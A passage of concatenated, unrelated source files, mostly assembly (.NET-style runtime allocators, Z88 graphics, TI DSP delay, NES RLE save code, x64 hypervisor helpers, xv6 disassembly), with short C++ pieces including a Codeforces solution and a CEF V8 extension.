;; Cleanup our ebp frame
pop ebp
mov ecx, eax ; MethodTable pointer
xor edx, edx ; Indicate that we should throw OOM.
jmp RhExceptionHandling_FailedAllocation
FASTCALL_ENDFUNC
;; Allocate non-array object with finalizer.
;; ECX == MethodTable
FASTCALL_FUNC RhpNewFinalizable, 4
;; Create EBP frame.
push ebp
mov ebp, esp
PUSH_COOP_PINVOKE_FRAME edx
;; Preserve MethodTable in ESI
mov esi, ecx
;; Push alloc helper arguments
push edx ; transition frame
push 0 ; numElements
mov edx, GC_ALLOC_FINALIZE ; Flags
;; Passing MethodTable in ecx
;; void* RhpGcAlloc(MethodTable *pEEType, uint32_t uFlags, uintptr_t numElements, void * pTransitionFrame)
call RhpGcAlloc
test eax, eax
jz NewFinalizable_OOM
POP_COOP_PINVOKE_FRAME
;; Collapse EBP frame and return
pop ebp
ret
NewFinalizable_OOM:
;; This is the failure path. We're going to tail-call to a managed helper that will throw
;; an out of memory exception that the caller of this allocator understands.
mov eax, esi ; Preserve MethodTable pointer over POP_COOP_PINVOKE_FRAME
POP_COOP_PINVOKE_FRAME
;; Cleanup our ebp frame
pop ebp
mov ecx, eax ; MethodTable pointer
xor edx, edx ; Indicate that we should throw OOM.
jmp RhExceptionHandling_FailedAllocation
FASTCALL_ENDFUNC
;; Allocate a new string.
;; ECX == MethodTable
;; EDX == element count
FASTCALL_FUNC RhNewString, 8
push ecx
push edx
;; Make sure computing the aligned overall allocation size won't overflow
cmp edx, MAX_STRING_LENGTH
ja StringSizeOverflow
; Compute overall allocation size (align(base size + (element size * elements), 4)).
lea eax, [(edx * STRING_COMPONENT_SIZE) + (STRING_BASE_SIZE + 3)]
and eax, -4
; ECX == MethodTable
; EAX == allocation size
; EDX == scratch
INLINE_GETTHREAD edx, ecx ; edx = GetThread(), TRASHES ecx
; ECX == scratch
; EAX == allocation size
; EDX == thread
mov ecx, eax
add eax, [edx + OFFSETOF__Thread__m_alloc_context__alloc_ptr]
jc StringAllocContextOverflow
cmp eax, [edx + OFFSETOF__Thread__m_alloc_context__alloc_limit]
ja StringAllocContextOverflow
; ECX == allocation size
; EAX == new alloc ptr
; EDX == thread
; set the new alloc pointer
mov [edx + OFFSETOF__Thread__m_alloc_context__alloc_ptr], eax
; calc the new object pointer
sub eax, ecx
pop edx
pop ecx
; set the new object's MethodTable pointer and element count
mov [eax + OFFSETOF__Object__m_pEEType], ecx
mov [eax + OFFSETOF__String__m_Length], edx
ret
StringAllocContextOverflow:
; ECX == string size
; original ECX pushed
; original EDX pushed
; Re-push original ECX
push [esp + 4]
; Create EBP frame.
mov [esp + 8], ebp
lea ebp, [esp + 8]
PUSH_COOP_PINVOKE_FRAME edx
; Get the MethodTable and put it in ecx.
mov ecx, dword ptr [ebp - 8]
; Push alloc helper arguments (thread, size, flags, MethodTable).
push edx ; transition frame
push [ebp - 4] ; numElements
xor edx, edx ; Flags
;; Passing MethodTable in ecx
;; void* RhpGcAlloc(MethodTable *pEEType, uint32_t uFlags, uintptr_t numElements, void * pTransitionFrame)
call RhpGcAlloc
test eax, eax
jz StringOutOfMemoryWithFrame
POP_COOP_PINVOKE_FRAME
add esp, 8 ; pop ecx / edx
pop ebp
ret
StringOutOfMemoryWithFrame:
; This is the OOM failure path. We're going to tail-call to a managed helper that will throw
; an out of memory exception that the caller of this allocator understands.
mov eax, [ebp - 8] ; Preserve MethodTable pointer over POP_COOP_PINVOKE_FRAME
POP_COOP_PINVOKE_FRAME
add esp, 8 ; pop ecx / edx
pop ebp ; restore ebp
mov ecx, eax ; MethodTable pointer
xor edx, edx ; Indicate that we should throw OOM.
jmp RhExceptionHandling_FailedAllocation
StringSizeOverflow:
;; We get here if the size of the final string object can't be represented as an unsigned
;; 32-bit value. We're going to tail-call to a managed helper that will throw
;; an OOM exception that the caller of this allocator understands.
add esp, 8 ; pop ecx / edx
;; ecx holds MethodTable pointer already
xor edx, edx ; Indicate that we should throw OOM.
jmp RhExceptionHandling_FailedAllocation
FASTCALL_ENDFUNC
;; Allocate one dimensional, zero based array (SZARRAY).
;; ECX == MethodTable
;; EDX == element count
FASTCALL_FUNC RhpNewArray, 8
push ecx
push edx
; Compute overall allocation size (align(base size + (element size * elements), 4)).
; if the element count is <= 0x10000, no overflow is possible because the component size is
; <= 0xffff, and thus the product is <= 0xffff0000, and the base size for the worst case
; (32 dimensional MdArray) is less than 0xffff.
movzx eax, word ptr [ecx + OFFSETOF__MethodTable__m_usComponentSize]
cmp edx,010000h
ja ArraySizeBig
mul edx
add eax, [ecx + OFFSETOF__MethodTable__m_uBaseSize]
add eax, 3
ArrayAlignSize:
and eax, -4
; ECX == MethodTable
; EAX == array size
; EDX == scratch
INLINE_GETTHREAD edx, ecx ; edx = GetThread(), TRASHES ecx
; ECX == scratch
; EAX == array size
; EDX == thread
mov ecx, eax
add eax, [edx + OFFSETOF__Thread__m_alloc_context__alloc_ptr]
jc ArrayAllocContextOverflow
cmp eax, [edx + OFFSETOF__Thread__m_alloc_context__alloc_limit]
ja ArrayAllocContextOverflow
; ECX == array size
; EAX == new alloc ptr
; EDX == thread
; set the new alloc pointer
mov [edx + OFFSETOF__Thread__m_alloc_context__alloc_ptr], eax
; calc the new object pointer
sub eax, ecx
pop edx
pop ecx
; set the new object's MethodTable pointer and element count
mov [eax + OFFSETOF__Object__m_pEEType], ecx
mov [eax + OFFSETOF__Array__m_Length], edx
ret
ArraySizeBig:
; Compute overall allocation size (align(base size + (element size * elements), 4)).
; if the element count is negative, it's an overflow, otherwise it's out of memory
cmp edx, 0
jl ArraySizeOverflow
mul edx
jc ArrayOutOfMemoryNoFrame
add eax, [ecx + OFFSETOF__MethodTable__m_uBaseSize]
jc ArrayOutOfMemoryNoFrame
add eax, 3
jc ArrayOutOfMemoryNoFrame
jmp ArrayAlignSize
ArrayAllocContextOverflow:
; ECX == array size
; original ECX pushed
; original EDX pushed
; Re-push original ECX
push [esp + 4]
; Create EBP frame.
mov [esp + 8], ebp
lea ebp, [esp + 8]
PUSH_COOP_PINVOKE_FRAME edx
; Get the MethodTable and put it in ecx.
mov ecx, dword ptr [ebp - 8]
; Push alloc helper arguments (thread, size, flags, MethodTable).
push edx ; transition frame
push [ebp - 4] ; numElements
xor edx, edx ; Flags
;; Passing MethodTable in ecx
;; void* RhpGcAlloc(MethodTable *pEEType, uint32_t uFlags, uintptr_t numElements, void * pTransitionFrame)
call RhpGcAlloc
test eax, eax
jz ArrayOutOfMemoryWithFrame
POP_COOP_PINVOKE_FRAME
add esp, 8 ; pop ecx / edx
pop ebp
ret
ArrayOutOfMemoryWithFrame:
; This is the OOM failure path. We're going to tail-call to a managed helper that will throw
; an out of memory exception that the caller of this allocator understands.
mov eax, [ebp - 8] ; Preserve MethodTable pointer over POP_COOP_PINVOKE_FRAME
POP_COOP_PINVOKE_FRAME
add esp, 8 ; pop ecx / edx
pop ebp ; restore ebp
mov ecx, eax ; MethodTable pointer
xor edx, edx ; Indicate that we should throw OOM.
jmp RhExceptionHandling_FailedAllocation
ArrayOutOfMemoryNoFrame:
add esp, 8 ; pop ecx / edx
; ecx holds MethodTable pointer already
xor edx, edx ; Indicate that we should throw OOM.
jmp RhExceptionHandling_FailedAllocation
ArraySizeOverflow:
; We get here if the size of the final array object can't be represented as an unsigned
; 32-bit value. We're going to tail-call to a managed helper that will throw
; an overflow exception that the caller of this allocator understands.
add esp, 8 ; pop ecx / edx
; ecx holds MethodTable pointer already
mov edx, 1 ; Indicate that we should throw OverflowException
jmp RhExceptionHandling_FailedAllocation
FASTCALL_ENDFUNC
end
|
;
; Z88 Graphics Functions - Small C+ stubs
;
; Written around the Interlogic Standard Library
;
;
; $Id: w_xorclga_callee.asm $
;
;Usage: xorclga(struct *pixels)
IF !__CPU_INTEL__
SECTION code_graphics
PUBLIC xorclga_callee
PUBLIC _xorclga_callee
PUBLIC ASMDISP_XORCLGA_CALLEE
EXTERN w_xorpixel
EXTERN w_area
EXTERN swapgfxbk
EXTERN __graphics_end
.xorclga_callee
._xorclga_callee
pop af
pop de
pop hl
exx ; w_plotpixel and swapgfxbk must not use the alternate registers, no problem with w_line_r
pop de
pop hl
push af ; ret addr
exx
.asmentry
push ix
call swapgfxbk
ld ix,w_xorpixel
call w_area
jp __graphics_end
DEFC ASMDISP_XORCLGA_CALLEE = asmentry - xorclga_callee
ENDIF
|
;// TI File $Revision: /main/4 $
;// Checkin $Date: July 30, 2007 10:28:57 $
;//###########################################################################
;//
;// FILE: DSP2833x_usDelay.asm
;//
;// TITLE: Simple delay function
;//
;// DESCRIPTION:
;//
;// This is a simple delay function that can be used to insert a specified
;// delay into code.
;//
;// This function is only accurate if executed from internal zero-waitstate
;// SARAM. If it is executed from waitstate memory then the delay will be
;// longer then specified.
;//
;// To use this function:
;//
;// 1 - update the CPU clock speed in the DSP2833x_Examples.h
;// file. For example:
;// #define CPU_RATE 6.667L // for a 150MHz CPU clock speed
;// or #define CPU_RATE 10.000L // for a 100MHz CPU clock speed
;//
;// 2 - Call this function by using the DELAY_US(A) macro
;// that is defined in the DSP2833x_Examples.h file. This macro
;// will convert the number of microseconds specified
;// into a loop count for use with this function.
;// This count will be based on the CPU frequency you specify.
;//
;// 3 - For the most accurate delay
;// - Execute this function in 0 waitstate RAM.
;// - Disable interrupts before calling the function
;// If you do not disable interrupts, then think of
;// this as an "at least" delay function as the actual
;// delay may be longer.
;//
;// The C assembly call from the DELAY_US(time) macro will
;// look as follows:
;//
;// extern void Delay(long LoopCount);
;//
;// MOV AL,#LowLoopCount
;// MOV AH,#HighLoopCount
;// LCR _Delay
;//
;// Or as follows (if count is less then 16-bits):
;//
;// MOV ACC,#LoopCount
;// LCR _Delay
;//
;//
;//###########################################################################
;// $TI Release: F2833x/F2823x Header Files and Peripheral Examples V141 $
;// $Release Date: November 6, 2015 $
;// $Copyright: Copyright (C) 2007-2015 Texas Instruments Incorporated -
;// http://www.ti.com/ ALL RIGHTS RESERVED $
;//###########################################################################
.def _DSP28x_usDelay
.sect "ramfuncs"
.global __DSP28x_usDelay
_DSP28x_usDelay:
SUB ACC,#1
BF _DSP28x_usDelay,GEQ ;; Loop if ACC >= 0
LRETR
;There is a 9/10 cycle overhead and each loop
;takes five cycles. The LoopCount is given by
;the following formula:
; DELAY_CPU_CYCLES = 9 + 5*LoopCount
; LoopCount = (DELAY_CPU_CYCLES - 9) / 5
; The macro DELAY_US(A) performs this calculation for you
;
;//===========================================================================
;// End of file.
;//===========================================================================
|
; A079000: a(n) is taken to be the smallest positive integer greater than a(n-1) which is consistent with the condition "n is a member of the sequence if and only if a(n) is odd".
; 1,4,6,7,8,9,11,13,15,16,17,18,19,20,21,23,25,27,29,31,33,34,35,36,37,38,39,40,41,42,43,44,45,47,49,51,53,55,57,59,61,63,65,67,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,95,97,99,101,103,105,107,109,111,113,115,117,119,121,123,125,127,129,131,133,135,137,139,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,191,193,195,197,199,201,203,205,207,209,211,213,215,217,219,221,223,225,227,229,231,233,235,237,239,241,243,245,247,249,251,253,255,257,259,261,263,265,267,269,271,273,275,277,279,281,283,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346
mov $2,$0
add $2,1
mov $6,$0
lpb $2
mov $0,$6
sub $2,1
sub $0,$2
mul $0,4
mov $3,1
lpb $0
sub $0,1
div $0,2
mov $3,$0
sub $0,6
lpe
add $0,1
mov $4,1
trn $4,$0
div $0,$3
add $4,$0
div $4,2
mov $5,$4
add $5,1
add $1,$5
lpe
|
/****************************************************************************************
* @author: kzvd4729 created: Jan/04/2020 18:09
* solution_verdict: Accepted language: GNU C++14
* run_time: 46 ms memory_used: 47100 KB
* problem: https://codeforces.com/contest/1284/problem/A
****************************************************************************************/
#include<bits/stdc++.h>
#define long long long
using namespace std;
const int N=1e6,inf=1e9;
string s[N+2],t[N+2];
int main()
{
ios_base::sync_with_stdio(0);cin.tie(0);
int n,m;cin>>n>>m;
for(int i=1;i<=n;i++)cin>>s[i];
for(int i=1;i<=m;i++)cin>>t[i];
int lcm=n*m/__gcd(n,m);
int a=1,b=1;
vector<string>v;
for(int i=1;i<=lcm;i++)
{
v.push_back(s[a]+t[b]);
a++,b++;if(a>n)a=1;if(b>m)b=1;
}
int q;cin>>q;
while(q--)
{
int x;cin>>x;x--;
x%=lcm;cout<<v[x]<<"\n";
}
return 0;
} |
#ifndef PESSOA
#define PESSOA
#include <string>
using namespace std;
class Pessoa {
public:
string nome;
};
class Estudante : public Pessoa {
public:
int matricula;
};
class EstGrad : public Estudante {
public:
string curso;
};
#endif |
;---------------------------------------------------------------
; LOADING and SAVING stuff
;---------------------------------------------------------------
;.zp
;rleSource: .RES 2
;rleDestination: .RES 2
;.ram
;rleMode: .RES 1
;rleTokenLength: .RES 1
;rleToken: .RES 8
;rleTokenBuffer: .RES 8
;chunkCount: .RES 2
;sourceCounter: .RES 2
;rleSaveBuffer = $0750 ;.RES $80
editorLoadSave:
jsr editorClearSaveBuffer
jsr editorCompressPatterns
rts
editorCompressPatterns:
lda #SRAM_HEADER_BANK
jsr setMMC1r1
ldx #$00
@a: lda rlePatternToken,x
;sta SRAM_SAVE_BUFFER+1,x
sta rleSaveBuffer+1,x
sta rleToken,x
inx
cpx #(rlePatternTokenEnd-rlePatternToken)
bcc @a
;stx SRAM_SAVE_BUFFER
stx rleSaveBuffer
stx rleTokenLength
lda #<SRAM_PATTERNS
sta rleSource
lda #>SRAM_PATTERNS
sta rleSource+1
;lda #<(SRAM_SAVE_BUFFER+$10)
lda #<(rleSaveBuffer+$10)
sta rleDestination
;lda #>(SRAM_SAVE_BUFFER+$10)
lda #>(rleSaveBuffer+$10)
sta rleDestination+1
lda #$00
sta sourceCounter
lda #$08
sta sourceCounter+1
lda #$00
sta rleMode ;set initial mode to stream
lda rleDestination ;save pointer
sta tmp0
lda rleDestination+1
sta tmp1
lda rleDestination ;move output point 2 bytes forward
clc
adc #$02
sta rleDestination
lda rleDestination+1
adc #$00
sta rleDestination+1
@readLoop2: lda #$00
sta chunkCount
sta chunkCount+1
@readLoop: lda rleMode
bne @doingToken
jsr rleReadBytes ;stream mode, read bytes
bcc @notDone
jmp @done
@notDone: jsr rleMatchToken
bcs @foundMatch0
jsr rleWriteBytes ;no match, output bytes to stream
lda chunkCount ;update size of current chunk
clc
adc rleTokenLength
sta chunkCount
lda chunkCount+1
adc #$00
sta chunkCount+1
jmp @readLoop ;get more stuff
@foundMatch0: lda chunkCount ;stream but found token match so end stream
ora chunkCount+1
beq @switchToToken ;if chunk size > 0 write chunk length to output
lda #SRAM_HEADER_BANK
jsr setMMC1r1
ldy #$00
lda chunkCount
sta (tmp0),y
lda chunkCount+1
iny
ora #$80 ;set bit 7 of length to signifiy stream
sta (tmp0),y
lda #$01
sta rleMode ;change to token mode
jsr rleUpdateOutputAddress
lda #$01
sta chunkCount
lda #$00
sta chunkCount+1
jmp @readLoop ;get more data (jump to 0 chunk size)
@switchToToken: lda #$01
sta rleMode
inc chunkCount
bne @skip0
inc chunkCount+1
@skip0:
@doingToken: jsr rleReadBytes
bcs @done
jsr rleMatchToken
bcc @noMatch
inc chunkCount
bne @skip1
inc chunkCount+1
@skip1: jmp @readLoop
@noMatch: lda #SRAM_HEADER_BANK
jsr setMMC1r1
lda #$00
sta $07FF
ldy #$00
lda chunkCount
sta (tmp0),y
lda chunkCount+1
iny
sta (tmp0),y
lda #$00
sta rleMode ;change to stream mode
jsr rleUpdateOutputAddress
lda #$04
sta chunkCount
lda #$00
sta chunkCount+1
jmp @notDone
@done: lda #SRAM_HEADER_BANK
jsr setMMC1r1
ldy #$00
lda chunkCount
sta (tmp0),y
iny
lda chunkCount+1
sta (tmp0),y
rts
rleUpdateOutputAddress:
lda rleDestination
sta tmp0
lda rleDestination+1
sta tmp1
lda rleDestination
clc
adc #$02
sta rleDestination
lda rleDestination+1
adc #$00
sta rleDestination+1
rts
rleWriteBytes: lda #SRAM_HEADER_BANK
jsr setMMC1r1
ldy #$00 ;needs error check in case of run out of SRAM!
@writeLoop: lda rleTokenBuffer,y
sta (rleDestination),y
iny
cpy rleTokenLength
bcc @writeLoop
lda rleDestination
clc
adc rleTokenLength
sta rleDestination
lda rleDestination+1
adc #$00
sta rleDestination+1
rts
rleReadBytes: lda #SRAM_PATTERN_BANK
jsr setMMC1r1
ldy #$00
lda sourceCounter
ora sourceCounter+1
bne @readMore
sec ;set carry to say end of source
rts
@readMore: lda (rleSource),y
sta rleTokenBuffer,y
iny
cpy rleTokenLength
bcc @readMore
lda rleSource ;adjust source data
clc
adc rleTokenLength
sta rleSource
lda rleSource+1
adc #$00
sta rleSource+1
lda sourceCounter ;adjust source count
sec
sbc rleTokenLength
sta sourceCounter
lda sourceCounter+1
sbc #$00
sta sourceCounter+1
clc ;clear carry to say read succesful
rts
;
;Return : Carry clear if no match, or carry set if match
;
rleMatchToken: ldy #$00
@matchLoop: ;lda (rleSource),y
lda rleToken,y
cmp rleTokenBuffer,y
bne @noMatch
iny
cpy rleTokenLength
bcc @matchLoop
rts ;carry set
@noMatch: clc
rts
rlePatternToken: .BYTE $FF,$FF,$FF,$00
rlePatternTokenEnd:
editorClearSaveBuffer:
lda #SRAM_HEADER_BANK
jsr setMMC1r1
ldx #$00
lda #$34
@b: sta rleSaveBuffer,x
inx
bpl @b
rts
.IF 0=1
lda #<SRAM_SAVE_BUFFER
sta tmp0
lda #>SRAM_SAVE_BUFFER
sta tmp1
ldx #$0F
ldy #$00
lda #$34
@a: sta (tmp0),y
iny
bne @a
inc tmp1
dex
bpl @a
rts
.ENDIF
|
.CODE
__writecr2 proc
mov cr2,rcx
ret
__writecr2 endp
__read_ldtr proc
sldt ax
ret
__read_ldtr endp
__read_tr proc
str ax
ret
__read_tr endp
__read_cs proc
mov ax, cs
ret
__read_cs endp
__read_ss proc
mov ax, ss
ret
__read_ss endp
__read_ds proc
mov ax, ds
ret
__read_ds endp
__read_es proc
mov ax, es
ret
__read_es endp
__read_fs proc
mov ax, fs
ret
__read_fs endp
__read_gs proc
mov ax, gs
ret
__read_gs endp
__sgdt proc
sgdt qword ptr [rcx]
ret
__sgdt endp
__sidt proc
sidt qword ptr [rcx]
ret
__sidt endp
__load_ar proc
lar rax, rcx
jz no_error
xor rax, rax
no_error:
ret
__load_ar endp
__vm_call proc
mov rax,0CDAEFAEDBBAEBEEFh
vmcall
ret
__vm_call endp
__vm_call_ex proc
mov rax,0CDAEFAEDBBAEBEEFh ; Our vmcall indentitifer
sub rsp, 30h
mov qword ptr [rsp], r10
mov qword ptr [rsp + 8h], r11
mov qword ptr [rsp + 10h], r12
mov qword ptr [rsp + 18h], r13
mov qword ptr [rsp + 20h], r14
mov qword ptr [rsp + 28h], r15
mov r10, qword ptr [rsp + 58h]
mov r11, qword ptr [rsp + 60h]
mov r12, qword ptr [rsp + 68h]
mov r13, qword ptr [rsp + 70h]
mov r14, qword ptr [rsp + 78h]
mov r15, qword ptr [rsp + 80h]
vmcall
mov r10, qword ptr [rsp]
mov r11, qword ptr [rsp + 8h]
mov r12, qword ptr [rsp + 10h]
mov r13, qword ptr [rsp + 18h]
mov r14, qword ptr [rsp + 20h]
mov r15, qword ptr [rsp + 28h]
add rsp, 30h
ret
__vm_call_ex endp
__hyperv_vm_call proc
vmcall
ret
__hyperv_vm_call endp
__reload_gdtr PROC
push rcx
shl rdx, 48
push rdx
lgdt fword ptr [rsp+6]
pop rax
pop rax
ret
__reload_gdtr ENDP
__reload_idtr PROC
push rcx
shl rdx, 48
push rdx
lidt fword ptr [rsp+6]
pop rax
pop rax
ret
__reload_idtr ENDP
__invept PROC
invept rcx,oword ptr[rdx]
ret
__invept ENDP
__invvpid PROC
invvpid rcx,oword ptr[rdx]
ret
__invvpid ENDP
END |
#include "StdAfx.h"
#include "WebKitV8Extension.h"
#include "WebKitXCtrl.h"
/////////////////////////////////////////////////////////////////////////////////////////////////////
void WebKitV8Extension::RegisterExtension(CWebKitXCtrl* control)
{
// Register a V8 extension that calls native
// methods implemented in WebKitV8Extension.
std::string sink = "var cef;"
"if(!cef) cef = {};"
"(function() {"
" cef.__defineSetter__('selectedNode', function(uid) {"
" native function __selectedNode();"
" __selectedNode(uid);"
" });"
"})();";
control->v8handler = new WebKitV8Extension(control);
CefRegisterExtension("v8/WebKitX", sink, control->v8handler);
}
/////////////////////////////////////////////////////////////////////////////////////////////////////
WebKitV8Extension::WebKitV8Extension(CWebKitXCtrl* control)
{
this->control = control;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////
WebKitV8Extension::~WebKitV8Extension(void)
{
control = NULL;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////
bool WebKitV8Extension::Execute(const CefString& name, CefRefPtr<CefV8Value> object, const CefV8ValueList& arguments, CefRefPtr<CefV8Value>& retval, CefString& exception)
{
std::string fname(name);
debugPrint("V8 Native Function Call: %s\n", fname.c_str());
if(fname == "__selectedNode")
{
return __selectedNode(object, arguments, retval, exception);
}
return false;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////
bool WebKitV8Extension::__selectedNode(CefRefPtr<CefV8Value> object, const CefV8ValueList& arguments, CefRefPtr<CefV8Value>& retval, CefString& exception)
{
std::string uid(arguments[0]->GetStringValue());
return true;
}
|
_hello_test: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
#include "fcntl.h"
int main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
hello();
11: e8 fc 02 00 00 call 312 <hello>
exit();
16: e8 57 02 00 00 call 272 <exit>
1b: 66 90 xchg %ax,%ax
1d: 66 90 xchg %ax,%ax
1f: 90 nop
00000020 <strcpy>:
20: 55 push %ebp
21: 89 e5 mov %esp,%ebp
23: 53 push %ebx
24: 8b 45 08 mov 0x8(%ebp),%eax
27: 8b 4d 0c mov 0xc(%ebp),%ecx
2a: 89 c2 mov %eax,%edx
2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
30: 83 c1 01 add $0x1,%ecx
33: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
37: 83 c2 01 add $0x1,%edx
3a: 84 db test %bl,%bl
3c: 88 5a ff mov %bl,-0x1(%edx)
3f: 75 ef jne 30 <strcpy+0x10>
41: 5b pop %ebx
42: 5d pop %ebp
43: c3 ret
44: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
4a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000050 <strcmp>:
50: 55 push %ebp
51: 89 e5 mov %esp,%ebp
53: 53 push %ebx
54: 8b 55 08 mov 0x8(%ebp),%edx
57: 8b 4d 0c mov 0xc(%ebp),%ecx
5a: 0f b6 02 movzbl (%edx),%eax
5d: 0f b6 19 movzbl (%ecx),%ebx
60: 84 c0 test %al,%al
62: 75 1c jne 80 <strcmp+0x30>
64: eb 2a jmp 90 <strcmp+0x40>
66: 8d 76 00 lea 0x0(%esi),%esi
69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
70: 83 c2 01 add $0x1,%edx
73: 0f b6 02 movzbl (%edx),%eax
76: 83 c1 01 add $0x1,%ecx
79: 0f b6 19 movzbl (%ecx),%ebx
7c: 84 c0 test %al,%al
7e: 74 10 je 90 <strcmp+0x40>
80: 38 d8 cmp %bl,%al
82: 74 ec je 70 <strcmp+0x20>
84: 29 d8 sub %ebx,%eax
86: 5b pop %ebx
87: 5d pop %ebp
88: c3 ret
89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
90: 31 c0 xor %eax,%eax
92: 29 d8 sub %ebx,%eax
94: 5b pop %ebx
95: 5d pop %ebp
96: c3 ret
97: 89 f6 mov %esi,%esi
99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000a0 <strlen>:
a0: 55 push %ebp
a1: 89 e5 mov %esp,%ebp
a3: 8b 4d 08 mov 0x8(%ebp),%ecx
a6: 80 39 00 cmpb $0x0,(%ecx)
a9: 74 15 je c0 <strlen+0x20>
ab: 31 d2 xor %edx,%edx
ad: 8d 76 00 lea 0x0(%esi),%esi
b0: 83 c2 01 add $0x1,%edx
b3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
b7: 89 d0 mov %edx,%eax
b9: 75 f5 jne b0 <strlen+0x10>
bb: 5d pop %ebp
bc: c3 ret
bd: 8d 76 00 lea 0x0(%esi),%esi
c0: 31 c0 xor %eax,%eax
c2: 5d pop %ebp
c3: c3 ret
c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000d0 <memset>:
d0: 55 push %ebp
d1: 89 e5 mov %esp,%ebp
d3: 57 push %edi
d4: 8b 55 08 mov 0x8(%ebp),%edx
d7: 8b 4d 10 mov 0x10(%ebp),%ecx
da: 8b 45 0c mov 0xc(%ebp),%eax
dd: 89 d7 mov %edx,%edi
df: fc cld
e0: f3 aa rep stos %al,%es:(%edi)
e2: 89 d0 mov %edx,%eax
e4: 5f pop %edi
e5: 5d pop %ebp
e6: c3 ret
e7: 89 f6 mov %esi,%esi
e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000f0 <strchr>:
f0: 55 push %ebp
f1: 89 e5 mov %esp,%ebp
f3: 53 push %ebx
f4: 8b 45 08 mov 0x8(%ebp),%eax
f7: 8b 5d 0c mov 0xc(%ebp),%ebx
fa: 0f b6 10 movzbl (%eax),%edx
fd: 84 d2 test %dl,%dl
ff: 74 1d je 11e <strchr+0x2e>
101: 38 d3 cmp %dl,%bl
103: 89 d9 mov %ebx,%ecx
105: 75 0d jne 114 <strchr+0x24>
107: eb 17 jmp 120 <strchr+0x30>
109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
110: 38 ca cmp %cl,%dl
112: 74 0c je 120 <strchr+0x30>
114: 83 c0 01 add $0x1,%eax
117: 0f b6 10 movzbl (%eax),%edx
11a: 84 d2 test %dl,%dl
11c: 75 f2 jne 110 <strchr+0x20>
11e: 31 c0 xor %eax,%eax
120: 5b pop %ebx
121: 5d pop %ebp
122: c3 ret
123: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000130 <gets>:
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 57 push %edi
134: 56 push %esi
135: 53 push %ebx
136: 31 f6 xor %esi,%esi
138: 89 f3 mov %esi,%ebx
13a: 83 ec 1c sub $0x1c,%esp
13d: 8b 7d 08 mov 0x8(%ebp),%edi
140: eb 2f jmp 171 <gets+0x41>
142: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
148: 8d 45 e7 lea -0x19(%ebp),%eax
14b: 83 ec 04 sub $0x4,%esp
14e: 6a 01 push $0x1
150: 50 push %eax
151: 6a 00 push $0x0
153: e8 32 01 00 00 call 28a <read>
158: 83 c4 10 add $0x10,%esp
15b: 85 c0 test %eax,%eax
15d: 7e 1c jle 17b <gets+0x4b>
15f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
163: 83 c7 01 add $0x1,%edi
166: 88 47 ff mov %al,-0x1(%edi)
169: 3c 0a cmp $0xa,%al
16b: 74 23 je 190 <gets+0x60>
16d: 3c 0d cmp $0xd,%al
16f: 74 1f je 190 <gets+0x60>
171: 83 c3 01 add $0x1,%ebx
174: 3b 5d 0c cmp 0xc(%ebp),%ebx
177: 89 fe mov %edi,%esi
179: 7c cd jl 148 <gets+0x18>
17b: 89 f3 mov %esi,%ebx
17d: 8b 45 08 mov 0x8(%ebp),%eax
180: c6 03 00 movb $0x0,(%ebx)
183: 8d 65 f4 lea -0xc(%ebp),%esp
186: 5b pop %ebx
187: 5e pop %esi
188: 5f pop %edi
189: 5d pop %ebp
18a: c3 ret
18b: 90 nop
18c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
190: 8b 75 08 mov 0x8(%ebp),%esi
193: 8b 45 08 mov 0x8(%ebp),%eax
196: 01 de add %ebx,%esi
198: 89 f3 mov %esi,%ebx
19a: c6 03 00 movb $0x0,(%ebx)
19d: 8d 65 f4 lea -0xc(%ebp),%esp
1a0: 5b pop %ebx
1a1: 5e pop %esi
1a2: 5f pop %edi
1a3: 5d pop %ebp
1a4: c3 ret
1a5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001b0 <stat>:
1b0: 55 push %ebp
1b1: 89 e5 mov %esp,%ebp
1b3: 56 push %esi
1b4: 53 push %ebx
1b5: 83 ec 08 sub $0x8,%esp
1b8: 6a 00 push $0x0
1ba: ff 75 08 pushl 0x8(%ebp)
1bd: e8 f0 00 00 00 call 2b2 <open>
1c2: 83 c4 10 add $0x10,%esp
1c5: 85 c0 test %eax,%eax
1c7: 78 27 js 1f0 <stat+0x40>
1c9: 83 ec 08 sub $0x8,%esp
1cc: ff 75 0c pushl 0xc(%ebp)
1cf: 89 c3 mov %eax,%ebx
1d1: 50 push %eax
1d2: e8 f3 00 00 00 call 2ca <fstat>
